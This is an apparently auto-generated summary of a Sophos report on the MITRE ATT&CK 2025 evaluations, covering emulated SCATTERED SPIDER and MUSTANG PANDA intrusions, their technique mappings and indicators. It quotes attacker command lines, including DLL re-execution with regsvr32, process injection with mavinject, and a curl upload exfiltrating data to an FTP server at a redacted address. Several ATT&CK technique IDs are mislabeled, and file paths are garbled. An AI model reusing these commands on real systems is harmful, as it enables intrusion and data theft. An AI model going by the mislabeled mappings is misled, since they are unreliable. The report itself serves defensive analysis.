Game of clones: Sophos and the MITRE ATT&CK Enterprise 2025 Evaluations

Game of clones: Sophos and the MITRE ATT&CK Enterprise 2025 Evaluations

Keypoints

  • Sophos participated in MITRE ATT&CK Enterprise Evaluations 2025, covering two emulated threat profiles: SCATTERED SPIDER (cybercrime, cloud pivot) and MUSTANG PANDA (espionage, PlugX/Toneshell-style payloads).
  • SCATTERED SPIDER emulation used AiTM phishing to steal SSO session cookies, replayed those cookies to enroll devices and access on-premises and AWS consoles without MFA.
  • The SCATTERED SPIDER scenario demonstrated AWS abuse: console enumeration, Systems Manager SendCommand/AWS-RunPowerShellScript, creation of an administrative IAM user (ahightower), EC2 provisioning, and secret discovery via Secrets Manager.
  • MUSTANG PANDA emulations comprised ORPHEUS (TONESHELL-like chain using LNK + DLL sideloading, mavinject process injection, VSCode tunnels, NTDS.dit dumping) and PERSEUS (HTML smuggling delivering PlugX/SmugX via MSI sideloading, collection with WinRAR, exfiltration with curl to FTP).
  • Common attacker tooling and techniques used across scenarios included publicly available/open-source tools (ADExplorer, trufflehog, jecretz, Tactical RMM, wstunnel, AirByte, CyberDuck), living-off-the-land binaries (regsvr32, curl, rar), and covert channels (VSCode tunnels, WebSocket tunnels via wstunnel).
  • Sophos XDR detections captured many stages (cookie replay, AWS enumeration, Systems Manager command execution, Tactical RMM installation, wstunnel usage, S3 object retrieval, and self-deletion), while the report notes minor deviations from real-world reporting in some scenario details.

MITRE Techniques

  • [T1566.001] Spearphishing Link – Initial access via a targeted email linking to an AiTM page: ‘ACTION: SSO Updates Completed – Reauthentication Needed.’
  • [T1539] Steal Web Session Cookie – Session replay used to obtain SSO session cookies and authenticate without prompting: ‘When tlannister authenticated to the AiTM site, the threat actor obtained valid static credentials and Single Sign On (SSO) session cookies.’
  • [T1078] Valid Accounts – Use of stolen SSO cookies and device registration to access integrated applications and AWS console: ‘Replaying the stolen cookies provided access to the SSO solution, with a valid account for the organization.’
  • [T1021.001] Remote Services: RDP – Remote Desktop used to access an on-prem host (dragongate) after SSO device enrollment: ‘They then successfully connected to the host dragongate via Remote Desktop (RDP).’
  • [T1082] System Information Discovery – Basic discovery commands executed via cmd.exe (whoami, ping, wmic product get name, version): ‘whoami: returns active user’s domain and username’ and ‘wmic product get name, version.’
  • [T1087] Account Discovery – Active Directory enumeration with ADExplorer to list Domain Admins and admin groups: ‘downloaded the Active Directory enumeration tool ADExplorer … to explore administrator groups.’
  • [T1574] Hijack Execution Flow (DLL side-loading) – DLL sideloading used to execute malicious payloads via legitimate signed binaries (EssosUpdate.exe / wsdebug_host.exe and libcurl.dll): ‘the binary EssosUpdate.exe – a legitimate Windows application … that sideloaded a malicious DLL, wsdapi.dll.’
  • [T1218.011] Signed Binary Proxy Execution (regsvr32) – regsvr32 used to re-execute the sideloaded DLL: ‘C:WindowsSystem32regsvr32.exe /s “C:UsershtargaryenDownloadswsdapi.dll”‘
  • [T1055] Process Injection – mavinject used to inject wsdapi.dll into waitfor.exe for C2 persistence and execution: ‘mavinject.exe 8344 /INJECTRUNNING “C:UsershtargaryenDownloadswsdapi.dll”‘
  • [T1059.001] Command and Scripting Interpreter: PowerShell – Remote PowerShell commands executed via AWS Systems Manager document AWS-RunPowerShellScript: ‘the threat actor ran the AWS Systems Manager document AWS-RunPowerShellScript to execute a PowerShell command on multiple instances.’
  • [T1021] Remote Services (PsExec) – PsExec used for lateral movement to drop and execute CodeHelper.bat and establish a VSCode tunnel: ‘The ORPHEUS threat actor used PsExec for lateral movement, to drop and execute the script CodeHelper.bat.’
  • [T1553.002] Subvert Cloud Provider Trust (SSO/SAML abuse) – SAML-based SSO was used to assume roles and access the AWS console without MFA: ‘AwsConsoleSignIn event … assumed an SSO role via the Authentik SAML provider … A login via SAML, but without multifactor authentication (MFA).’
  • [T1530] Data from Cloud Storage Object (exfiltration to S3) – Data staged to an S3 bucket and transferred to an attacker-controlled S3 bucket in another account using CyberDuck: ‘transferred files from the staging S3 bucket in the targeted organization’s AWS account to an attacker-controlled S3 bucket in another AWS account.’
  • [T1041] Exfiltration Over C2 Channel / Exfiltration Over Other Network Medium – Exfiltration using AirByte to stage files and curl/FTP to transfer archives to an attacker FTP server: ‘curl.exe -T … ftp://ftp_user:Gracious-Coat@[IP]/dp/ –ftp-create-dirs’ and ‘AirByte … staged files … to an S3 bucket.’
  • [T1204.002] User Execution: Malicious File – Initial access via malicious Office document and LNK that executed a sideloaded binary: ’embedded link … download of the archive file … contained a LNK file … which executed the binary EssosUpdate.exe.’
  • [T1620] Cloud API Monitoring / Discovery (Secrets Manager access) – Secrets Manager ListSecrets and GetSecretValue calls used to discover and decrypt a GitLab PAT: ‘invoking the AWS Secrets Manager ListSecrets command … BatchGetSecretValue and GetSecretValue … Gitlab Personal Access Token secret for the user atargaryen … DecryptValue.’

Indicators of Compromise

  • [Email address] phishing and impersonation – it@kingslanding-it[.]net (spearphishing AiTM link).
  • [Domains] impersonation and tooling URLs – kingslanding-it[.]net, kingslanding-hr[.]com (Tactical RMM configuration URL impersonating kingslanding).
  • [User accounts / IAM] account names observed in attack flows – tlannister (compromised SSO user), ahightower (created IAM user), atargaryen (GitLab PAT target).
  • [Hostnames / Instances] on-prem and cloud hosts – dragongate (RDP access), CITADEL (file server with Z: share), goldroad (attacker-provisioned EC2 bastion).
  • [File names / Installers] malicious or abused binaries and payloads – EssosUpdate.exe, wsdapi.dll, 2025p2.msi, gup.exe, WinGUpdate.dat, libcurl.dll, and prpbg.dat.bak.1.
  • [Tools / utilities] attacker or reconnaissance tooling – wstunnel (WebSocket tunnel), trufflehog, jecretz, Tactical RMM, AirByte, CyberDuck (used for staging and exfiltration).
  • [Exfiltration endpoints / credentials] FTP and S3 transfer indicators – ftp://ftp_user:Gracious-Coat@[IP]/do/ (FTP exfiltration command) and attacker-controlled S3 bucket (files transferred between AWS accounts).


Read more: https://news.sophos.com/en-us/2025/12/15/game-of-clones-sophos-and-the-mitre-attck-enterprise-2025-evaluations/